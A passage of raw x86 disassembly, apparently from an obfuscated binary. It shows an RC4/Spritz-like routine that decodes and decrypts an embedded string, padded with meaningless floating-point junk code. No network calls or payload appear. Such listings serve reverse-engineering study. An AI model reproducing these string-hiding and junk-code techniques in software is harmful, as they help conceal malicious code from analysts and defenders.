jbe 0x440bcd
mov dword [ebp - 0x4a78], 0
mov dword [ebp - 0x49c8], 1
mov eax, dword [ebp - 0x49c8]
cmp eax, dword [ebp - 0x38e4]
jae 0x44099e
mov ecx, dword [ebp - 0x49c8]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x49c8], edx
jmp 0x44097e
mov eax, dword [ebp - 0x44f8]
mov dword [ebp - 0x5380], eax
cmp dword [ebp - 0x5380], 3
ja case.default.0x4409bd
mov ecx, dword [ebp - 0x5380]
jmp dword [ecx*4 + 0x46ce34]
movzx edx, byte [ebp - 0x3354]
movzx ebx, byte [ebp + edx - 0x4f7c]
movsd xmm0, qword [ebp - 0x47d4]
call fcn.009eac50
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3354], bl
jmp 0x440aa6
movzx eax, byte [ebp - 0x3354]
movzx ebx, byte [ebp + eax - 0x4f7c]
movsd xmm0, qword [ebp - 0x47d4]
call fcn.009eac50
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3354], bl
jmp 0x440aa6
movzx ecx, byte [ebp - 0x3354]
movzx ebx, byte [ebp + ecx - 0x4f7c]
movsd xmm0, qword [ebp - 0x47d4]
call fcn.009eac50
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3354], bl
jmp 0x440aa6
movzx edx, byte [ebp - 0x3354]
movzx ebx, byte [ebp + edx - 0x4f7c]
movsd xmm0, qword [ebp - 0x47d4]
call fcn.009eac50
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3354], bl
jmp 0x440aa6
movzx eax, byte [ebp - 0x3354]
movzx ecx, byte [ebp + eax - 0x4f7c]
mov edx, dword [ebp - 0x633c]
add edx, dword [ebp - 0x44f8]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x3354], cl
mov ecx, dword [ebp - 0x44f8]
add ecx, 1
mov dword [ebp - 0x44f8], ecx
movzx edx, byte [ebp - 0x4023]
cmp dword [ebp - 0x44f8], edx
jb 0x440ae4
mov dword [ebp - 0x44f8], 0
movzx eax, byte [ebp - 0x4023]
movzx ecx, byte [ebp - 0x3354]
add ecx, eax
mov byte [ebp - 0x3354], cl
movzx edx, byte [ebp - 0x3354]
and edx, dword [ebp - 0x49c8]
mov dword [ebp - 0x42cc], edx
mov eax, dword [ebp - 0x4a78]
add eax, 1
mov dword [ebp - 0x4a78], eax
cmp dword [ebp - 0x4a78], 0xb
jbe 0x440b23
mov eax, dword [ebp - 0x42cc]
xor edx, edx
div dword [ebp - 0x38e4]
mov dword [ebp - 0x42cc], edx
mov ecx, dword [ebp - 0x42cc]
cmp ecx, dword [ebp - 0x38e4]
ja 0x44099e
mov edx, dword [ebp - 0x38e4]
cmp edx, dword [ebp - 0x42cc]
je 0x440bc8
mov eax, dword [ebp - 0x42cc]
movzx ecx, byte [ebp + eax - 0x4f7c]
mov edx, dword [ebp - 0x38e4]
movzx eax, byte [ebp + edx - 0x4f7c]
xor eax, ecx
mov ecx, dword [ebp - 0x38e4]
mov byte [ebp + ecx - 0x4f7c], al
mov edx, dword [ebp - 0x38e4]
movzx eax, byte [ebp + edx - 0x4f7c]
mov ecx, dword [ebp - 0x42cc]
movzx edx, byte [ebp + ecx - 0x4f7c]
xor edx, eax
mov eax, dword [ebp - 0x42cc]
mov byte [ebp + eax - 0x4f7c], dl
mov ecx, dword [ebp - 0x42cc]
movzx edx, byte [ebp + ecx - 0x4f7c]
mov eax, dword [ebp - 0x38e4]
movzx ecx, byte [ebp + eax - 0x4f7c]
xor ecx, edx
mov edx, dword [ebp - 0x38e4]
mov byte [ebp + edx - 0x4f7c], cl
jmp 0x44094e
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x4f7c]
mov byte [ebp - 0x3267], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x4f7c]
mov byte [ebp - 0x3278], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x4f7c]
mov byte [ebp - 0x32c7], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x4f7c]
mov byte [ebp - 0x3270], cl
movzx edx, byte [ebp - 0x3354]
mov al, byte [ebp + edx - 0x4f7c]
mov byte [ebp - 0x328e], al
mov dword [ebp - 0x54c0], 0x88
cmp dword [ebp - 0x54c0], 2
jle 0x44346c
mov ecx, dword [ebp - 0x54c0]
and ecx, 1
jne 0x44346c
mov dword [ebp - 0x3344], 0
mov dword [ebp - 0x34e4], 0
mov edx, dword [ebp - 0x34e4]
add edx, 1
mov dword [ebp - 0x34e4], edx
mov dword [ebp - 0x36d8], 0
mov eax, dword [ebp - 0x3344]
shl eax, 1
mov dword [ebp - 0x36d8], eax
mov dword [ebp - 0x36bc], 0
mov ecx, dword [ebp - 0x36d4]
add ecx, dword [ebp - 0x36d8]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x36bc]
mov dword [ebp - 0x36bc], edx
mov dword [ebp - 0x36b8], 0
mov eax, dword [ebp - 0x36b8]
add eax, 0xdd
mov dword [ebp - 0x36b8], eax
mov dword [ebp - 0x3760], 0
mov ecx, dword [ebp - 0x3344]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3760], edx
mov dword [ebp - 0x36b4], 0
mov eax, dword [ebp - 0x36d4]
add eax, dword [ebp - 0x3760]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x36b4]
mov dword [ebp - 0x36b4], ecx
mov dword [ebp - 0x36b0], 0
mov edx, dword [ebp - 0x36b0]
add edx, 0xac
mov dword [ebp - 0x36b0], edx
mov dword [ebp - 0x36ac], 0
mov eax, dword [ebp - 0x36bc]
sub eax, dword [ebp - 0x36b8]
add eax, dword [ebp - 0x36ac]
mov dword [ebp - 0x36ac], eax
mov dword [ebp - 0x36a8], 0
mov ecx, dword [ebp - 0x36b4]
sub ecx, dword [ebp - 0x36b0]
add ecx, dword [ebp - 0x36a8]
mov dword [ebp - 0x36a8], ecx
mov dword [ebp - 0x36cc], 0
mov edx, dword [ebp - 0x36ac]
shl edx, 4
mov dword [ebp - 0x36cc], edx
mov dword [ebp - 0x36ec], 0
mov eax, dword [ebp - 0x36a8]
mov dword [ebp - 0x36ec], eax
mov dword [ebp - 0x36f4], 0
mov ecx, dword [ebp - 0x36cc]
or ecx, dword [ebp - 0x36ec]
mov dword [ebp - 0x36f4], ecx
mov byte [ebp - 0x32bc], 0
mov dl, byte [ebp - 0x36f4]
mov byte [ebp - 0x32bc], dl
mov byte [ebp - 0x32bb], 0
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + eax - 0x4f7c]
mov byte [ebp - 0x32bb], cl
movzx edx, byte [ebp - 0x3267]
movzx eax, byte [ebp + edx - 0x4f7c]
movzx ecx, byte [ebp - 0x3278]
add ecx, eax
mov byte [ebp - 0x3278], cl
mov dl, byte [ebp - 0x3267]
add dl, 1
mov byte [ebp - 0x3267], dl
movzx eax, byte [ebp - 0x3278]
movzx ecx, byte [ebp - 0x328e]
mov dl, byte [ebp + eax - 0x4f7c]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp - 0x3278]
mov dl, byte [ebp + eax - 0x4f7c]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x3267]
movzx ecx, byte [ebp - 0x3270]
mov dl, byte [ebp + eax - 0x4f7c]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x3267]
mov cl, byte [ebp - 0x32bb]
mov byte [ebp + eax - 0x4f7c], cl
movzx edx, byte [ebp - 0x32bb]
movzx eax, byte [ebp + edx - 0x4f7c]
movzx ecx, byte [ebp - 0x32c7]
add ecx, eax
mov byte [ebp - 0x32c7], cl
movzx edx, byte [ebp - 0x32bc]
movzx eax, byte [ebp - 0x3278]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx eax, byte [ebp - 0x3267]
movzx eax, byte [ebp + eax - 0x4f7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4f7c]
xor edx, ecx
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx eax, byte [ebp - 0x328e]
movzx eax, byte [ebp + eax - 0x4f7c]
add ecx, eax
movzx eax, byte [ebp - 0x32c7]
movzx eax, byte [ebp + eax - 0x4f7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4f7c]
movzx eax, byte [ebp + ecx - 0x4f7c]
xor edx, eax
mov byte [ebp - 0x3270], dl
mov cl, byte [ebp - 0x32bc]
mov byte [ebp - 0x328e], cl
mov dl, byte [ebp - 0x3270]
mov byte [ebp - 0x330e], dl
cmp dword [ebp - 0x3344], 0
jle 0x440f5e
movsx ax, byte [ebp - 0x330e]
mov ecx, dword [ebp - 0x3344]
mov word [ebp + ecx*2 - 0x452], ax
mov edx, dword [ebp - 0x3344]
add edx, 1
mov dword [ebp - 0x3344], edx
mov eax, dword [ebp - 0x34e4]
add eax, 1
mov dword [ebp - 0x34e4], eax
mov ecx, dword [ebp - 0x3344]
shl ecx, 1
mov dword [ebp - 0x36d8], ecx
mov edx, dword [ebp - 0x36d4]
add edx, dword [ebp - 0x36d8]
movzx eax, byte [edx]
mov dword [ebp - 0x36bc], eax
mov dword [ebp - 0x36b8], 0xdd
mov ecx, dword [ebp - 0x3344]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3760], edx
mov eax, dword [ebp - 0x36d4]
add eax, dword [ebp - 0x3760]
movzx ecx, byte [eax]
mov dword [ebp - 0x36b4], ecx
movss xmm0, dword [0xa67440]
movss dword [ebp - 0x38e8], xmm0
movss xmm0, dword [0xa67354]
movss dword [ebp - 0x3810], xmm0
movss xmm0, dword [0xa671f0]
movss dword [ebp - 0x380c], xmm0
movss xmm0, dword [0xa67090]
movss dword [ebp - 0x36dc], xmm0
movss xmm0, dword [ebp - 0x380c]
mulss xmm0, dword [ebp - 0x36dc]
movss dword [ebp - 0x380c], xmm0
movss xmm0, dword [ebp - 0x3810]
subss xmm0, dword [ebp - 0x36dc]
movss dword [ebp - 0x3810], xmm0
movss xmm0, dword [ebp - 0x380c]
mulss xmm0, dword [ebp - 0x36dc]
movss dword [ebp - 0x380c], xmm0
movss xmm0, dword [ebp - 0x38e8]
mulss xmm0, dword [ebp - 0x36dc]
movss dword [ebp - 0x38e8], xmm0
movss xmm0, dword [ebp - 0x36dc]
comiss xmm0, dword [ebp - 0x380c]
jbe 0x441218
movss xmm0, dword [ebp - 0x38e8]
addss xmm0, dword [ebp - 0x3810]
movss dword [ebp - 0x38e8], xmm0
movss xmm0, dword [ebp - 0x380c]
addss xmm0, dword [ebp - 0x36dc]
movss dword [ebp - 0x380c], xmm0
movss xmm0, dword [ebp - 0x38e8]
addss xmm0, dword [ebp - 0x3810]
movss dword [ebp - 0x38e8], xmm0
movss xmm0, dword [ebp - 0x36dc]
addss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x36dc], xmm0
movss xmm0, dword [ebp - 0x380c]
mulss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x380c], xmm0
movss xmm0, dword [ebp - 0x3810]
divss xmm0, dword [ebp - 0x36dc]
movss dword [ebp - 0x3810], xmm0
movss xmm0, dword [ebp - 0x3810]
mulss xmm0, dword [ebp - 0x36dc]
movss dword [ebp - 0x3810], xmm0
movss xmm0, dword [ebp - 0x380c]
divss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x380c], xmm0
movss xmm0, dword [ebp - 0x380c]
comiss xmm0, dword [ebp - 0x38e8]
jbe 0x4411b6
movss xmm0, dword [ebp - 0x3810]
subss xmm0, dword [ebp - 0x36dc]
movss dword [ebp - 0x3810], xmm0
movss xmm0, dword [ebp - 0x3810]
addss xmm0, dword [ebp - 0x36dc]
movss dword [ebp - 0x3810], xmm0
movss xmm0, dword [ebp - 0x38e8]
addss xmm0, dword [ebp - 0x380c]
movss dword [ebp - 0x38e8], xmm0
movss xmm0, dword [ebp - 0x3810]
mulss xmm0, dword [ebp - 0x36dc]
movss dword [ebp - 0x3810], xmm0
jmp 0x441216
movss xmm0, dword [ebp - 0x38e8]
addss xmm0, dword [ebp - 0x380c]
movss dword [ebp - 0x38e8], xmm0
movss xmm0, dword [ebp - 0x38e8]
mulss xmm0, dword [ebp - 0x380c]
movss dword [ebp - 0x38e8], xmm0
movss xmm0, dword [ebp - 0x36dc]
addss xmm0, dword [ebp - 0x3810]
movss dword [ebp - 0x36dc], xmm0
movss xmm0, dword [ebp - 0x3810]
divss xmm0, dword [ebp - 0x36dc]
movss dword [ebp - 0x3810], xmm0
jmp 0x441282
movss xmm0, dword [ebp - 0x36dc]
addss xmm0, dword [ebp - 0x3810]
movss dword [ebp - 0x36dc], xmm0
movss xmm0, dword [ebp - 0x380c]
subss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x380c], xmm0
movss xmm0, dword [ebp - 0x380c]
subss xmm0, dword [ebp - 0x38e8]
movss dword [ebp - 0x380c], xmm0
movss xmm0, dword [ebp - 0x36dc]
addss xmm0, dword [ebp - 0x3810]
movss dword [ebp - 0x36dc], xmm0
mov dword [ebp - 0x36b0], 0xac
mov edx, dword [ebp - 0x36bc]
sub edx, dword [ebp - 0x36b8]
mov dword [ebp - 0x36ac], edx
mov eax, dword [ebp - 0x36b4]
sub eax, dword [ebp - 0x36b0]
mov dword [ebp - 0x36a8], eax
mov ecx, dword [ebp - 0x36ac]
shl ecx, 4
mov dword [ebp - 0x36cc], ecx
mov edx, dword [ebp - 0x36a8]
mov dword [ebp - 0x36ec], edx
mov eax, dword [ebp - 0x36cc]
or eax, dword [ebp - 0x36ec]
mov dword [ebp - 0x36f4], eax
mov cl, byte [ebp - 0x36f4]
mov byte [ebp - 0x32bc], cl
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + edx - 0x4f7c]
mov byte [ebp - 0x32bb], al
movzx ecx, byte [ebp - 0x3267]
movzx edx, byte [ebp + ecx - 0x4f7c]
movzx eax, byte [ebp - 0x3278]
add eax, edx
mov byte [ebp - 0x3278], al
mov cl, byte [ebp - 0x3267]
add cl, 1
mov byte [ebp - 0x3267], cl
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + edx - 0x4f7c]
mov byte [ebp + eax - 0x4f7c], cl
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp - 0x3278]
mov cl, byte [ebp + edx - 0x4f7c]
mov byte [ebp + eax - 0x4f7c], cl
movzx edx, byte [ebp - 0x3267]
movzx eax, byte [ebp - 0x3270]
mov cl, byte [ebp + edx - 0x4f7c]
mov byte [ebp + eax - 0x4f7c], cl
movzx edx, byte [ebp - 0x3267]
mov al, byte [ebp - 0x32bb]
mov byte [ebp + edx - 0x4f7c], al
movzx ecx, byte [ebp - 0x32bb]
movzx edx, byte [ebp + ecx - 0x4f7c]
movzx eax, byte [ebp - 0x32c7]
add eax, edx
mov byte [ebp - 0x32c7], al
movzx ecx, byte [ebp - 0x32bc]
movzx edx, byte [ebp - 0x3278]
movzx eax, byte [ebp + edx - 0x4f7c]
movzx edx, byte [ebp - 0x3267]
movzx edx, byte [ebp + edx - 0x4f7c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f7c]
xor ecx, eax
movzx edx, byte [ebp - 0x3270]
movzx eax, byte [ebp + edx - 0x4f7c]
movzx edx, byte [ebp - 0x328e]
movzx edx, byte [ebp + edx - 0x4f7c]
add eax, edx
movzx edx, byte [ebp - 0x32c7]
movzx edx, byte [ebp + edx - 0x4f7c]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4f7c]
movzx edx, byte [ebp + eax - 0x4f7c]
xor ecx, edx
mov byte [ebp - 0x3270], cl
mov al, byte [ebp - 0x32bc]
mov byte [ebp - 0x328e], al
mov cl, byte [ebp - 0x3270]
mov byte [ebp - 0x330e], cl
cmp dword [ebp - 0x3344], 0
jle 0x441461
movsx dx, byte [ebp - 0x330e]
mov eax, dword [ebp - 0x3344]
mov word [ebp + eax*2 - 0x452], dx
mov ecx, dword [ebp - 0x3344]
add ecx, 1
mov dword [ebp - 0x3344], ecx
mov edx, dword [ebp - 0x34e4]
add edx, 1
mov dword [ebp - 0x34e4], edx
mov eax, dword [ebp - 0x3344]
shl eax, 1
mov dword [ebp - 0x36d8], eax
mov ecx, dword [ebp - 0x36d4]
add ecx, dword [ebp - 0x36d8]
movzx edx, byte [ecx]
mov dword [ebp - 0x36bc], edx
mov dword [ebp - 0x36b8], 0xdd
mov eax, dword [ebp - 0x3344]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3760], ecx
mov edx, dword [ebp - 0x36d4]
add edx, dword [ebp - 0x3760]
movzx eax, byte [edx]
mov dword [ebp - 0x36b4], eax
mov dword [ebp - 0x36b0], 0xac
mov ecx, dword [ebp - 0x36bc]
sub ecx, dword [ebp - 0x36b8]
mov dword [ebp - 0x36ac], ecx
mov edx, dword [ebp - 0x36b4]
sub edx, dword [ebp - 0x36b0]
mov dword [ebp - 0x36a8], edx
mov eax, dword [ebp - 0x36ac]
shl eax, 4
mov dword [ebp - 0x36cc], eax
mov ecx, dword [ebp - 0x36a8]
mov dword [ebp - 0x36ec], ecx
mov edx, dword [ebp - 0x36cc]
or edx, dword [ebp - 0x36ec]
mov dword [ebp - 0x36f4], edx
mov al, byte [ebp - 0x36f4]
mov byte [ebp - 0x32bc], al
movzx ecx, byte [ebp - 0x328e]
mov dl, byte [ebp + ecx - 0x4f7c]
mov byte [ebp - 0x32bb], dl
movzx eax, byte [ebp - 0x3267]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx edx, byte [ebp - 0x3278]
add edx, ecx
mov byte [ebp - 0x3278], dl
mov al, byte [ebp - 0x3267]
add al, 1
mov byte [ebp - 0x3267], al
movzx ecx, byte [ebp - 0x3278]
movzx edx, byte [ebp - 0x328e]
mov al, byte [ebp + ecx - 0x4f7c]
mov byte [ebp + edx - 0x4f7c], al
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp - 0x3278]
mov al, byte [ebp + ecx - 0x4f7c]
mov byte [ebp + edx - 0x4f7c], al
movzx ecx, byte [ebp - 0x3267]
movzx edx, byte [ebp - 0x3270]
mov al, byte [ebp + ecx - 0x4f7c]
mov byte [ebp + edx - 0x4f7c], al
movzx ecx, byte [ebp - 0x3267]
mov dl, byte [ebp - 0x32bb]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x32bb]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx edx, byte [ebp - 0x32c7]
add edx, ecx
mov byte [ebp - 0x32c7], dl
movzx eax, byte [ebp - 0x32bc]
movzx ecx, byte [ebp - 0x3278]
movzx edx, byte [ebp + ecx - 0x4f7c]
movzx ecx, byte [ebp - 0x3267]
movzx ecx, byte [ebp + ecx - 0x4f7c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4f7c]
xor eax, edx
movzx ecx, byte [ebp - 0x3270]
movzx edx, byte [ebp + ecx - 0x4f7c]
movzx ecx, byte [ebp - 0x328e]
movzx ecx, byte [ebp + ecx - 0x4f7c]
add edx, ecx
movzx ecx, byte [ebp - 0x32c7]
movzx ecx, byte [ebp + ecx - 0x4f7c]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4f7c]
movzx ecx, byte [ebp + edx - 0x4f7c]
xor eax, ecx
mov byte [ebp - 0x3270], al
mov dl, byte [ebp - 0x32bc]
mov byte [ebp - 0x328e], dl
mov al, byte [ebp - 0x3270]
mov byte [ebp - 0x330e], al
cmp dword [ebp - 0x3344], 0
jle 0x4416bb
movsx cx, byte [ebp - 0x330e]
mov edx, dword [ebp - 0x3344]
mov word [ebp + edx*2 - 0x452], cx
mov eax, dword [ebp - 0x34e4]
add eax, 0x1e
mov dword [ebp - 0x34e4], eax
mov ecx, dword [ebp - 0x3344]
add ecx, 1
mov dword [ebp - 0x4a7c], ecx
jmp 0x4416ea
mov edx, dword [ebp - 0x4a7c]
add edx, 1
mov dword [ebp - 0x4a7c], edx
mov eax, dword [ebp - 0x4a7c]
cmp eax, dword [ebp - 0x34e4]
jge 0x441ff3
mov ecx, dword [ebp - 0x3344]
add ecx, 1
mov dword [ebp - 0x3344], ecx
mov edx, dword [ebp - 0x3344]
shl edx, 1
mov dword [ebp - 0x36d8], edx
mov eax, dword [ebp - 0x36d4]
add eax, dword [ebp - 0x36d8]
movzx ecx, byte [eax]
mov dword [ebp - 0x36bc], ecx
mov dword [ebp - 0x36b8], 0xdd
mov edx, dword [ebp - 0x3344]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3760], eax
mov ecx, dword [ebp - 0x36d4]
add ecx, dword [ebp - 0x3760]
movzx edx, byte [ecx]
mov dword [ebp - 0x36b4], edx
mov dword [ebp - 0x36b0], 0xac
mov eax, dword [ebp - 0x36bc]
sub eax, dword [ebp - 0x36b8]
mov dword [ebp - 0x36ac], eax
mov ecx, dword [ebp - 0x36b4]
sub ecx, dword [ebp - 0x36b0]
mov dword [ebp - 0x36a8], ecx
mov edx, dword [ebp - 0x36ac]
shl edx, 4
mov dword [ebp - 0x36cc], edx
mov eax, dword [ebp - 0x36a8]
mov dword [ebp - 0x36ec], eax
mov ecx, dword [ebp - 0x36cc]
or ecx, dword [ebp - 0x36ec]
mov dword [ebp - 0x36f4], ecx
mov dl, byte [ebp - 0x36f4]
mov byte [ebp - 0x32bc], dl
movzx eax, byte [ebp - 0x328e]
mov cl, byte [ebp + eax - 0x4f7c]
mov byte [ebp - 0x32bb], cl
movzx edx, byte [ebp - 0x3267]
movzx eax, byte [ebp + edx - 0x4f7c]
movzx ecx, byte [ebp - 0x3278]
add ecx, eax
mov byte [ebp - 0x3278], cl
mov dl, byte [ebp - 0x3267]
add dl, 1
mov byte [ebp - 0x3267], dl
movzx eax, byte [ebp - 0x3278]
movzx ecx, byte [ebp - 0x328e]
mov dl, byte [ebp + eax - 0x4f7c]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp - 0x3278]
mov dl, byte [ebp + eax - 0x4f7c]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x3267]
movzx ecx, byte [ebp - 0x3270]
mov dl, byte [ebp + eax - 0x4f7c]
mov byte [ebp + ecx - 0x4f7c], dl
movzx eax, byte [ebp - 0x3267]
mov cl, byte [ebp - 0x32bb]
mov byte [ebp + eax - 0x4f7c], cl
movzx edx, byte [ebp - 0x32bb]
movzx eax, byte [ebp + edx - 0x4f7c]
movzx ecx, byte [ebp - 0x32c7]
add ecx, eax
mov byte [ebp - 0x32c7], cl
movzx edx, byte [ebp - 0x32bc]
movzx eax, byte [ebp - 0x3278]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx eax, byte [ebp - 0x3267]
movzx eax, byte [ebp + eax - 0x4f7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4f7c]
xor edx, ecx
movzx eax, byte [ebp - 0x3270]
movzx ecx, byte [ebp + eax - 0x4f7c]
movzx eax, byte [ebp - 0x328e]
movzx eax, byte [ebp + eax - 0x4f7c]
add ecx, eax
movzx eax, byte [ebp - 0x32c7]
movzx eax, byte [ebp + eax - 0x4f7c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4f7c]
movzx eax, byte [ebp + ecx - 0x4f7c]
xor edx, eax
mov byte [ebp - 0x3270], dl
mov cl, byte [ebp - 0x32bc]
mov byte [ebp - 0x328e], cl
movss xmm0, dword [0xa673fc]
movss dword [ebp - 0x33d4], xmm0
movss xmm0, dword [0xa67368]
movss dword [ebp - 0x3570], xmm0
movss xmm0, dword [0xa672c4]
movss dword [ebp - 0x3574], xmm0
movss xmm0, dword [0xa67204]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [0xa67160]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [0xa670a0]
movss dword [ebp - 0x3814], xmm0
movss xmm0, dword [0xa66fe4]
movss dword [ebp - 0x3434], xmm0
movss xmm0, dword [ebp - 0x3428]
subss xmm0, dword [ebp - 0x3434]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x34a8]
mulss xmm0, dword [ebp - 0x3434]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x3814]
addss xmm0, dword [ebp - 0x3434]
movss dword [ebp - 0x3814], xmm0
movss xmm0, dword [ebp - 0x33d4]
mulss xmm0, dword [ebp - 0x3434]
movss dword [ebp - 0x33d4], xmm0
movss xmm0, dword [ebp - 0x3814]
addss xmm0, dword [ebp - 0x3434]
movss dword [ebp - 0x3814], xmm0
movss xmm0, dword [ebp - 0x33d4]
subss xmm0, dword [ebp - 0x3434]
movss dword [ebp - 0x33d4], xmm0
movss xmm0, dword [ebp - 0x33d4]
subss xmm0, dword [ebp - 0x3434]
movss dword [ebp - 0x33d4], xmm0
movss xmm0, dword [ebp - 0x3434]
comiss xmm0, dword [ebp - 0x33d4]
jbe 0x441f1b
movss xmm0, dword [ebp - 0x3570]
subss xmm0, dword [ebp - 0x3574]
movss dword [ebp - 0x3570], xmm0
movss xmm0, dword [ebp - 0x3428]
mulss xmm0, dword [ebp - 0x3814]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x34a8]
subss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x33d4]
divss xmm0, dword [ebp - 0x3570]
movss dword [ebp - 0x33d4], xmm0
movss xmm0, dword [ebp - 0x3434]
divss xmm0, dword [ebp - 0x33d4]
movss dword [ebp - 0x3434], xmm0
movss xmm0, dword [ebp - 0x33d4]
addss xmm0, dword [ebp - 0x3570]
movss dword [ebp - 0x33d4], xmm0
movss xmm0, dword [ebp - 0x3574]
addss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3574], xmm0
movss xmm0, dword [ebp - 0x33d4]
mulss xmm0, dword [ebp - 0x3570]
movss dword [ebp - 0x33d4], xmm0
movss xmm0, dword [ebp - 0x3574]
divss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3574], xmm0
movss xmm0, dword [ebp - 0x3574]
divss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3574], xmm0
movss xmm0, dword [ebp - 0x3570]
divss xmm0, dword [ebp - 0x3574]
movss dword [ebp - 0x3570], xmm0
movss xmm0, dword [ebp - 0x3428]
subss xmm0, dword [ebp - 0x3814]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x3570]
divss xmm0, dword [ebp - 0x3574]
movss dword [ebp - 0x3570], xmm0
movss xmm0, dword [ebp - 0x33d4]
mulss xmm0, dword [ebp - 0x3570]
movss dword [ebp - 0x33d4], xmm0
movss xmm0, dword [ebp - 0x34a8]
comiss xmm0, dword [ebp - 0x3814]
jbe 0x441e6e
movss xmm0, dword [ebp - 0x3574]
subss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3574], xmm0
movss xmm0, dword [ebp - 0x3574]
mulss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3574], xmm0
movss xmm0, dword [ebp - 0x3428]
divss xmm0, dword [ebp - 0x3814]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x33d4]
subss xmm0, dword [ebp - 0x3570]
movss dword [ebp - 0x33d4], xmm0
movss xmm0, dword [ebp - 0x34a8]
mulss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x34a8]
divss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x3570]
subss xmm0, dword [ebp - 0x3574]
movss dword [ebp - 0x3570], xmm0
movss xmm0, dword [ebp - 0x34a8]
subss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x34a8]
addss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x3428]
addss xmm0, dword [ebp - 0x3814]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x3434]
mulss xmm0, dword [ebp - 0x33d4]
movss dword [ebp - 0x3434], xmm0
movss xmm0, dword [ebp - 0x3434]
addss xmm0, dword [ebp - 0x33d4]
movss dword [ebp - 0x3434], xmm0
movss xmm0, dword [ebp - 0x3428]
addss xmm0, dword [ebp - 0x3814]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x34a8]
mulss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x3428]
comiss xmm0, dword [ebp - 0x3574]
jbe 0x441dc1
movss xmm0, dword [ebp - 0x33d4]
mulss xmm0, dword [ebp - 0x3570]
movss dword [ebp - 0x33d4], xmm0
movss xmm0, dword [ebp - 0x3434]
subss xmm0, dword [ebp - 0x33d4]
movss dword [ebp - 0x3434], xmm0
movss xmm0, dword [ebp - 0x34a8]
mulss xmm0, dword [ebp - 0x3428]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x3428]
mulss xmm0, dword [ebp - 0x3814]
movss dword [ebp - 0x3428], xmm0
movss xmm0, dword [ebp - 0x33d4]
addss xmm0, dword [ebp - 0x3570]
movss dword [ebp - 0x33d4], xmm0
movss xmm0, dword [ebp - 0x3434]
divss xmm0, dword [ebp - 0x33d4]
